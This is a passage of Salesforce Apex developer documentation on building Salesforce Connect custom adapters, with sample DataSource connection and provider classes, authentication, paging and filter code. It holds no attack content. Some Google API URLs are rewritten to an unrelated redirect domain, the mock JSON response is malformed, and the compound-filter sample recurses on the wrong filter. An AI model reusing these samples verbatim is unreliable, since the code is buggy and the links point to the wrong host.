hit the Apex callouts limit.
// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
for (Map<String, Object> row : rows){
// Make a callout to insert or update records in the external system.
HttpResponse response;

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// Determine whether to insert or update a record.

if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"');
}
else {
// Send a PUT HTTP request to update an existing external record.
// Make an Apex callout and get HttpResponse.
response = makePutCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.
// Deserialize the response.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
}
}
return results;
}
return null;
}
// ...

deleteRows
The deleteRows method is invoked when external object records are deleted. You can delete external object records through the
Salesforce user interface or DML. The following example provides a sample implementation for the deleteRows method. The example
uses the passed-in DeleteContext to determine what table was selected and performs the deletion only if the name of the selected
table is Sample. The deletion is performed in the external system using callouts for each external ID. An array of
DataSource.DeleteResult is populated from the results obtained from the callout responses. Note that because a callout is
made for each ID, this example might hit the Apex callouts limit.
// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){

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HttpResponse response = makeDeleteCallout(externalId);

if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// ...

SEE ALSO:
Execution Governors and Limits
Connection Class
Filters in the Apex Connector Framework

Create a Sample DataSource.Provider Class

Now you need a class that extends and overrides a few methods in DataSource.Provider.
Your DataSource.Provider class informs Salesforce of the functional and authentication capabilities that are supported by or
required to connect to the external system.
global class SampleDataSourceProvider extends DataSource.Provider {

If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source
definition or users personal settings. For simplicity, however, this example declares that the external system doesnt require authentication.
To do so, it returns AuthenticationCapability.ANONYMOUS as the sole entry in the list of authentication capabilities.
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}

This example also declares that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting
data.
To allow SOQL, the example declares the DataSource.Capability.ROW_QUERY capability.
To allow SOSL and Salesforce searches, the example declares the DataSource.Capability.SEARCH capability.
To allow upserting external data, the example declares the DataSource.Capability.ROW_CREATE and
DataSource.Capability.ROW_UPDATE capabilities.

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To allow deleting external data, the example declares the DataSource.Capability.ROW_DELETE capability.
override global List<DataSource.Capability> getCapabilities()
{
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
return capabilities;
}

Lastly, the example identifies the SampleDataSourceConnection class that obtains the external systems schema and handles
the queries and searches of the external data.
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new SampleDataSourceConnection(connectionParams);
}
}

Set Up Salesforce Connect to Use Your Custom Adapter

After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Complete the tasks that are described in Access External Data with a Custom Adapter for Salesforce Connect in the Salesforce Help.
To add write capability for external objects to your adapter:
1. Make the external data source for this adapter writable. See Define an External Data Source for Salesforce ConnectCustom Adapter
in the Salesforce Help.
2. Implement the DataSource.Connection.upsertRows() and DataSource.Connection.deleteRows()
methods for the adapter. For details, see Connection Class on page 1568.

Key Concepts About the Apex Connector Framework

The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom
adapter.
We recommend that you learn about some key concepts to help you use the Apex Connector Framework effectively.
IN THIS SECTION:
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an
external object come from the DataSource.Column named ExternalId.

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Callouts for Salesforce Connect Custom Adapters

Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system
requires authentication, incorporate the authentication parameters into the callout.
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can
then page through those batches. However, custom adapters for Salesforce Connect dont automatically support paging of any
kind. To support paging through external object data thats obtained by a custom adapter, implement server-driven or client-driven
paging.
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect dont automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method
in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query
call.
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation
property. The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
Filters in the Apex Connector Framework
The DataSource.QueryContext contains one DataSource.TableSelection. The
DataSource.SearchContext can have more than one TableSelection. Each TableSelection has a filter
property that represents the WHERE clause in a SOQL or SOSL query.

External IDs for Salesforce Connect External Objects

When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external
object come from the DataSource.Column named ExternalId.
Each external object has an External ID standard field. Its values uniquely identify each external object record in your org. When
the external object is the parent in an external lookup relationship, the External ID standard field is used to identify the child records.
Important:
The custom adapters Apex code must declare the DataSource.Column named ExternalId and provide its values.
Dont use sensitive data as the values of the External ID standard field, because Salesforce sometimes stores those values.
External lookup relationship fields on child records store and display the External ID values of the parent records.
For internal use only, Salesforce stores the External ID value of each row thats retrieved from the external system. This
behavior doesnt apply to external objects that are associated with high-data-volume external data sources.
Example: This excerpt from a sample DataSource.Connection class shows the DataSource.Column named
ExternalId.
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));

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columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}

Authentication for Salesforce Connect Custom Adapters

Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
If Identity Type is set to Named Principal, the credentials come from the external data source definition.
If Identity Type is set to Per User:
For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the users authentication settings for the external system.
For administrative connections, such as syncing the external systems schema, the credentials come from the external data
source definition.

SEE ALSO:
OAuth for Salesforce Connect Custom Adapters

OAuth for Salesforce Connect Custom Adapters

If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
Some external systems use OAuth access tokens that expire and need to be refreshed. We can automatically refresh access tokens as
needed when:
The user or external data source has a valid refresh token from a previous OAuth flow.
The sync, query, or search method in your DataSource.Connection class throws a
DataSource.OAuthTokenExpiredException.
We use the relevant OAuth credentials for the user or external data source to negotiate with the remote service and refresh the token.
The DataSource.Connection class is reconstructed with the new OAuth token in the DataSource.ConnectionParams
that we supply to the constructor. The search or query is then reinvoked.

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If the authentication provider doesnt provide a refresh token, access to the external system is lost when the current access token expires.
If a warning message appears on the external data source detail page, consult your OAuth provider for information about requesting
offline access or a refresh token.
For some authentication providers, requesting offline access is as simple as adding a scope. For example, to request offline access from
a Salesforce authentication provider, add refresh_token to the Default Scopes field on the authentication provider definition
in your Salesforce organization.
For other authentication providers, you must request offline access in the authentication URL as a query parameter. For example, with
Google, append ?access_type=offline to the Authorize Endpoint URL field on the authentication provider definition
in your Salesforce organization. To edit the authorization endpoint, select Open ID Connect in the Provider Type field of the
authentication provider. For details, see Configure an OpenID Connect Authentication Provider in the Salesforce Help.
SEE ALSO:
Authentication for Salesforce Connect Custom Adapters

Callouts for Salesforce Connect Custom Adapters

Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires
authentication, incorporate the authentication parameters into the callout.
Authentication parameters are encapsulated in a ConnectionParams object and provided to your DataSource.Connection
classs constructor.
For example, if your connection requires an OAuth access token, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer ' +
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}

If your connection requires basic password authentication, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
this.connectioninfo.username + ':' +
this.connectionInfo.password));
request.setHeader('Authorization', 'Basic ' + encodedHeaderValue);
HttpResponse response = httpProtocol.send(request);
return response;
}

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Named Credentials as Callout Endpoints for Salesforce Connect Custom Adapters

A Salesforce Connect custom adapter obtains the relevant credentials that are stored in Salesforce whenever theyre needed. However,
your Apex code must apply those credentials to all callouts, except those that specify named credentials as the callout endpoints. A
named credential lets Salesforce handle the authentication logic for you so that your code doesnt have to.
If all your custom adapters callouts use named credentials, you can set the external data sources Authentication Protocol
field to No Authentication. The named credentials add the appropriate certificates and can add standard authorization headers to the
callouts. You also dont need to define a remote site for an Apex callout endpoint thats defined as a named credential.
SEE ALSO:
Named Credentials as Callout Endpoints

Paging with the Apex Connector Framework

When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then
page through those batches. However, custom adapters for Salesforce Connect dont automatically support paging of any kind. To
support paging through external object data thats obtained by a custom adapter, implement server-driven or client-driven paging.
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class. Also, your Apex code must generate a query token and use it to determine and fetch the next batch
of results.
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets. Factor in the offset and maxResults
properties in the DataSource.QueryContext to determine which rows to return. For example, suppose that the result set has
20 rows with numeric ExternalID values from 1 to 20. If we ask for an offset of 5 and maxResults of 5, we expect to get
the rows with IDs 610. We recommend that you do all filtering in the external system, outside of Apex, using methods that the external
system supports.
SEE ALSO:
QueryContext Class

queryMore with the Apex Connector Framework

Custom adapters for Salesforce Connect dont automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method in
the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.
To support queryMore, your implementation must indicate whether more data exists than whats in the current batch. When the
Force.com platform knows that more data exists, your API queries return a QueryResult object thats similar to the following.
{
"totalSize" => -1,
"done" => false,
"nextRecordsUrl" => "/services/data/v32.0/query/01gxx000000B5OgAAK-2000",
"records" => [
[
0] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000001AAA"

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},
"ExternalId" => "id0"
},
[

1] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000002AAA"
},

IN THIS SECTION:
Support queryMore by Using Server-Driven Paging
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
Support queryMore by Using Client-Driven Paging
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.

Support queryMore by Using Server-Driven Paging

With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
When the returned DataSource.TableResult doesnt contain the entire result set, the TableResult must provide a
queryMoreToken value. The query token is an arbitrary string that we store temporarily. When we request the next batch of results,
we pass the query token back to your custom adapter in the DataSource.QueryContext. Your Apex code must use that query
token to determine which rows belong to the next batch of results.
When your custom adapter returns the final batch, it must not return a queryMoreToken value in the TableResult.
SEE ALSO:
queryMore with the Apex Connector Framework

Support queryMore by Using Client-Driven Paging

With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
If the external system can return the total size of the result set for each query, declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Make sure that each search or query returns the totalSize value in the
DataSource.TableResult. If the total size is larger than the number of rows that are returned in the batch, we generate a
nextRecordsUrl link and set the done flag to false. We also set the totalSize in the TableResult to the value that
you supply.
If the external system cant return the total size for each query, dont declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Whenever we do a query through your custom adapter, we ask for one extra row. For example, if
you run the query SELECT ExternalId FROM Sample LIMIT 5, we call the query method on the
DataSource.Connection object with a DataSource.QueryContext that has the maxResults property set to 6.

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The presence or absence of that sixth row in the result set indicates whether more data is available. We assume, however, that the data
set we query against doesnt change between queries. If the data set changes between queries, you might see repeated rows or not
get all results.
Ultimately, accessing external data works most efficiently when you retrieve small amounts of data and the data set that you query
against changes infrequently.
SEE ALSO:
queryMore with the Apex Connector Framework

Aggregation for Salesforce Connect Custom Adapters

If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation property.
The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
The following example illustrates how to apply the value of the aggregation property to handle COUNT() queries.
// Handle COUNT() queries
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
QueryAggregation.COUNT) {
List<Map<String, Object>> countResponse = new List<Map<String, Object>>();
Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return countResponse;
}

An aggregate query can still have filters, so your query method can be implemented like the following example to support basic
aggregation queries, with or without filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {
List<Map<String,Object>> rows = retrieveData(context);
List<Map<String,Object>> response = postFilterRecords(
context.tableSelection.filter, rows);
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String, Object>> countResponse = new List<Map<String,
Object>>();
Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context, countResponse);
}

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return DataSource.TableResult.get(context, response);

}

SEE ALSO:
QueryContext Class
Create a Sample DataSource.Connection Class

Filters in the Apex Connector Framework

The DataSource.QueryContext contains one DataSource.TableSelection. The DataSource.SearchContext
can have more than one TableSelection. Each TableSelection has a filter property that represents the WHERE
clause in a SOQL or SOSL query.
For example, when a user goes to an external objects record detail page, your DataSource.Connection is executed. Behind
the scenes, we generate a SOQL query similar to the following.
SELECT columnNames
FROM externalObjectApiName
WHERE ExternalId = 'selectedExternalObjectExternalId'

This SOQL query causes the query method on your DataSource.Connection class to be invoked. The following code can
detect this condition.
if (context.tableSelection.filter != null) {
if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
&& 'ExternalId' == context.tableSelection.filter.columnName
&& context.tableSelection.filter.columnValue instanceOf String) {
String selection = (String)context.tableSelection.filter.columnValue;
return DataSource.TableResult.get(true, null,
tableSelection.tableSelected, findSingleResult(selection));
}
}

This code example assumes that you implemented a findSingleResult method that returns a single record, given the selected
ExternalId. Make sure that your code obtains the record that matches the requested ExternalId.
IN THIS SECTION:
Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.

Evaluating Filters in the Apex Connector Framework

A filter evaluates to true for a row if that row matches the conditions that the filter describes.
For example, suppose that a DataSource.Filter has columnName set to meaningOfLife, columnValue set to 42,
and type set to EQUALS. Any row in the remote table whose meaningOfLife column entry equals 42 is returned.
Suppose, instead, that the filter has type set to LESS_THAN, columnValue set to 3, and columnName set to numericCol.
Wed construct a DataSource.TableResult object that contains all the rows that have a numericCol value less than 3.

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To improve performance, do all the filtering in the external system. You can, for example, translate the Filter object into a SQL or
OData query, or map it to parameters on a SOAP query. If the external system returns a large set of data, and you do the filtering in your
Apex code, you quickly exceed your governor limits.
If you cant do all the filtering in the external system, do as much as possible there and return as little data as possible. Then filter the
smaller collection of data in your Apex code.
SEE ALSO:
Filter Class

Compound Filters in the Apex Connector Framework

Filters can have child filters, which are stored in the subfilters property.
If a filter has children, the filter type must be one of the following.
Filter Type

Description

AND_

We return all rows that match all of the subfilters.

OR_

We return all rows that match any of the subfilters.

NOT_

The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.

This code example illustrates how to deal with compound filters.

override global DataSource.TableResult query(DataSource.QueryContext context) {
// Call out to an external data source and retrieve a set of records.
// We should attempt to get as much information as possible about the
// query from the QueryContext, to minimize the number of records
// that we return.
List<Map<String,Object>> rows = retrieveData(context);
// This only filters the results. Anything in the query that we dont
// currently support, such as aggregation or sorting, is ignored.
return DataSource.TableResult.get(context, postFilterRecords(
context.tableSelection.filter, rows));
}
private List<Map<String,Object>> retrieveData(DataSource.QueryContext context) {
// Call out to an external data source. Form the callout so that
// it filters as much as possible on the remote site,
// based on the parameters in the QueryContext.
return ...;
}
private List<Map<String,Object>> postFilterRecords(
DataSource.Filter filter, List<Map<String,Object>> rows) {
if (filter == null) {
return rows;
}
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows = new List<Map<String,Object>>();

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if (type == DataSource.FilterType.NOT_) {
// We expect one Filter in the subfilters.
DataSource.Filter subfilter = filter.subfilters.get(0);
for (Map<String,Object> row : rows) {
if (!evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
} else if (type == DataSource.FilterType.AND_) {
// For each filter, find all matches; anything that matches ALL filters
// is returned.
retainedRows = rows;
for (DataSource.Filter subfilter : filter.subfilters) {
retainedRows = postFilterRecords(filter, retainedRows);
}
return retainedRows;
} else if (type == DataSource.FilterType.OR_) {
// For each filter, find all matches. Anything that matches
// at least one filter is returned.
for (DataSource.Filter subfilter : filter.subfilters) {
List<Map<String,Object>> matchedRows = postFilterRecords(
subfilter, rows);
retainedRows.addAll(matchedRows);
}
return retainedRows;
} else {
// Find all matches for this filter in our collection of records.
for (Map<String,Object> row : rows) {
if (evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
}
}
private Boolean evaluate(DataSource.Filter filter, Map<String,Object> row) {
if (filter.type == DataSource.FilterType.EQUALS) {
String columnName = filter.columnName;
Object expectedValue = filter.columnValue;
Object foundValue = row.get(columnName);
return expectedValue.equals(foundValue);
} else {
// Throw an exception; implementing other filter types is left
// as an exercise for the reader.
throwException('Unexpected filter type: ' + filter.type);
}
return false;
}

Using Salesforce Features with Apex

Considerations for the Apex Connector Framework

Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
Make sure that you understand the limits of the external systems APIs. For example, some external systems accept only requests
for up to 40 rows.
Data type limitations:
DoubleThe value loses precision beyond 18 significant digits. For higher precision, use decimals instead of doubles.
StringIf the length is greater than 255 characters, the string is mapped to a long text area field in Salesforce.
Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
All Apex governor limits apply.
Apex callouts arent allowed after data manipulation language (DML) operations in the same transaction. Therefore, within the
same transaction, you can't update a Salesforce record and then do an Apex callout.
Test methods dont support web service callouts; tests that perform web service callouts fail. For an example that shows how
to avoid these failing tests by returning mock responses, see Google Drive Custom Adapter for Salesforce Connect on page
396.

Apex Connector Framework Examples

These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
IN THIS SECTION:
Google Drive Custom Adapter for Salesforce Connect
This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive
online storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses
for test methods.
Google Books Custom Adapter for Salesforce Connect
This example illustrates how to work around the requirements and limits of an external systems APIs: in this case, the Google Books
API Family.
Loopback Custom Adapter for Salesforce Connect
This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the
external system.

Google Drive Custom Adapter for Salesforce Connect

This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive online
storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses for test
methods.
For this example to work reliably, request offline access when setting up OAuth so that Salesforce can obtain and maintain a refresh
token for your connections.

DriveDataSourceConnection Class
/**
*

Extends the DataSource.Connection class to enable

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Apex Connector Framework Examples

*
Salesforce to sync the external systems schema
*
and to handle queries and searches of the external data.
**/
global class DriveDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
*
Constructor for DriveDataSourceConnection.
**/
global DriveDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
*
Called when an external object needs to get a list of
*
schema from the external data source, for example when
*
the administrator clicks Validate and Sync in the
*
user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
/**
*
Called to query and get results from the external
*
system for SOQL queries, list views, and detail pages
*
for an external object thats associated with the
*
external data source.
*
*
The QueryContext argument represents the query to run
*
against a table in the external system.
*
*
Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url;
if (filter != null) {

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String thisColumnName = filter.columnName;

if (thisColumnName != null &&
thisColumnName.equals('ExternalId'))
url = 'https://www.googleapis.com/drive/v2/'
+ 'files/' + filter.columnValue;
else
url = 'https://www.googleapis.com/drive/v2/'
+ 'files';
} else {
url = 'https://www.googleapis.com/drive/v2/'
+ 'files';
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
context.tableSelection.tableSelected, rows);
}
/**
*
Called to do a full text search and get results from
*
the external system for SOSL queries and Salesforce
*
global searches.
*
*
The SearchContext argument represents the query to run
*
against a table in the external system.
*
*
Returns results for each table that the SearchContext
*
requested to be searched.
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (Integer i =0;i< context.tableSelections.size();i++) {
String entity = context.tableSelections[i].tableSelected;
String url =
'https://www.googleapis.com/drive/v2/files'+
'?q=fullText+contains+\''+context.searchPhrase+'\'';
results.add(DataSource.TableResult.get(
true, null, entity, getData(url)));
}
return results;
}
/**
*
*
*

Helper method to parse the data.

The url argument is the URL of the external system.
Returns a list of rows from the external system.

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**/
public List<Map<String, Object>> getData(String url) {
String response = getResponse(url);
List<Map<String, Object>> rows =
new List<Map<String, Object>>();
Map<String, Object> responseBodyMap = (Map<String, Object>)
JSON.deserializeUntyped(response);
/**
*
Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)fileItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
*
Helper method to populate the External ID and Display
*
URL fields on external object records based on the 'id'
*
value thats sent by the external system.
*
*
The Map<String, Object> item parameter maps to the data
*
that represents a row.
*
*
Returns an updated map with the External ID and
*
Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item){
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if (key == 'id') {

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row.put('ExternalId', item.get(key));
} else if (key=='selfLink') {
row.put(key, item.get(key));
row.put('DisplayUrl', item.get(key));
} else {
row.put(key, item.get(key));
}
}
return row;
}
static String mockResponse = '{' +
' "kind": "drive#file",' +
' "id": 12345,' +
' "selfLink": files/12345,' +
' "title": Mock File,' +
' "mimeType": application/text,' +
' "description": Mock response thats used during tests,' +
' "createdDate": 2016-04-20,' +
' "modifiedDate": 2016-04-20,' +
' "version": 1,' +
'}';
/**
*
Helper method to make the HTTP GET call.
*
The url argument is the URL of the external system.
*
Returns the response from the external system.
**/
public String getResponse(String url) {
if (System.Test.isRunningTest()) {
// Avoid callouts during tests. Return mock data instead.
return mockResponse;
} else {
// Perform callouts for production (non-test) results.
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer '+
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response.getBody();
}
}
}

DriveDataSourceProvider Class
/**
*
*
*
*

Extends the DataSource.Provider base class to create a

custom adapter for Salesforce Connect. The class informs
Salesforce of the functional and authentication
capabilities that are supported by or required to connect

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*
to an external system.
**/
global class DriveDataSourceProvider
extends DataSource.Provider {
/**
*
Declares the types of authentication that can be used
*
to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
*
Declares the functional capabilities that the
*
external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
*
Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new DriveDataSourceConnection(connectionParams);
}
}

Google Books Custom Adapter for Salesforce Connect

This example illustrates how to work around the requirements and limits of an external systems APIs: in this case, the Google Books API
Family.
To integrate with the Google Books service, we set up Salesforce Connect as follows.
The Google Books API allows a maximum of 40 returned results, so we develop our custom adapter to handle result sets with more
than 40 rows.
The Google Books API can sort only by search relevance and publish dates, so we develop our custom adapter to disable sorting on
columns.

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To support OAuth, we set up our authentication settings in Salesforce so that the requested scope of permissions for access tokens
includes https://www.googleapis.com/auth/books.
To allow Apex callouts, we define these remote sites in Salesforce:
https://www.googleapis.com
https://books.google.com

BooksDataSourceConnection Class
/**
*
Extends the DataSource.Connection class to enable
*
Salesforce to sync the external system metadata
*
schema and to handle queries and searches of the external
*
data.
**/
global class BooksDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
// Constructor for BooksDataSourceConnection.
global BooksDataSourceConnection(DataSource.ConnectionParams
connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
*
Called when an external object needs to get a list of
*
schema from the external data source, for example when
*
the administrator clicks Validate and Sync in the
*
user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(getColumn('title'));
columns.add(getColumn('description'));
columns.add(getColumn('publishedDate'));
columns.add(getColumn('publisher'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId', 255));
tables.add(DataSource.Table.get('googleBooks', 'title',
columns));
return tables;
}
/**
*
Google Books API v1 doesn't support sorting,
*
so we create a column with sortable = false.
**/
private DataSource.Column getColumn(String columnName) {

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DataSource.Column column = DataSource.Column.text(columnName,

255);
column.sortable = false;
return column;
}
/**
*
Called to query and get results from the external
*
system for SOQL queries, list views, and detail pages
*
for an external object that's associated with the
*
external data source.
*
*
The QueryContext argument represents the query to run
*
against a table in the external system.
*
*
Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext contexts) {
DataSource.Filter filter = contexts.tableSelection.filter;
String url;
if (contexts.tableSelection.columnsSelected.size() == 1 &&
contexts.tableSelection.columnsSelected.get(0).aggregation ==
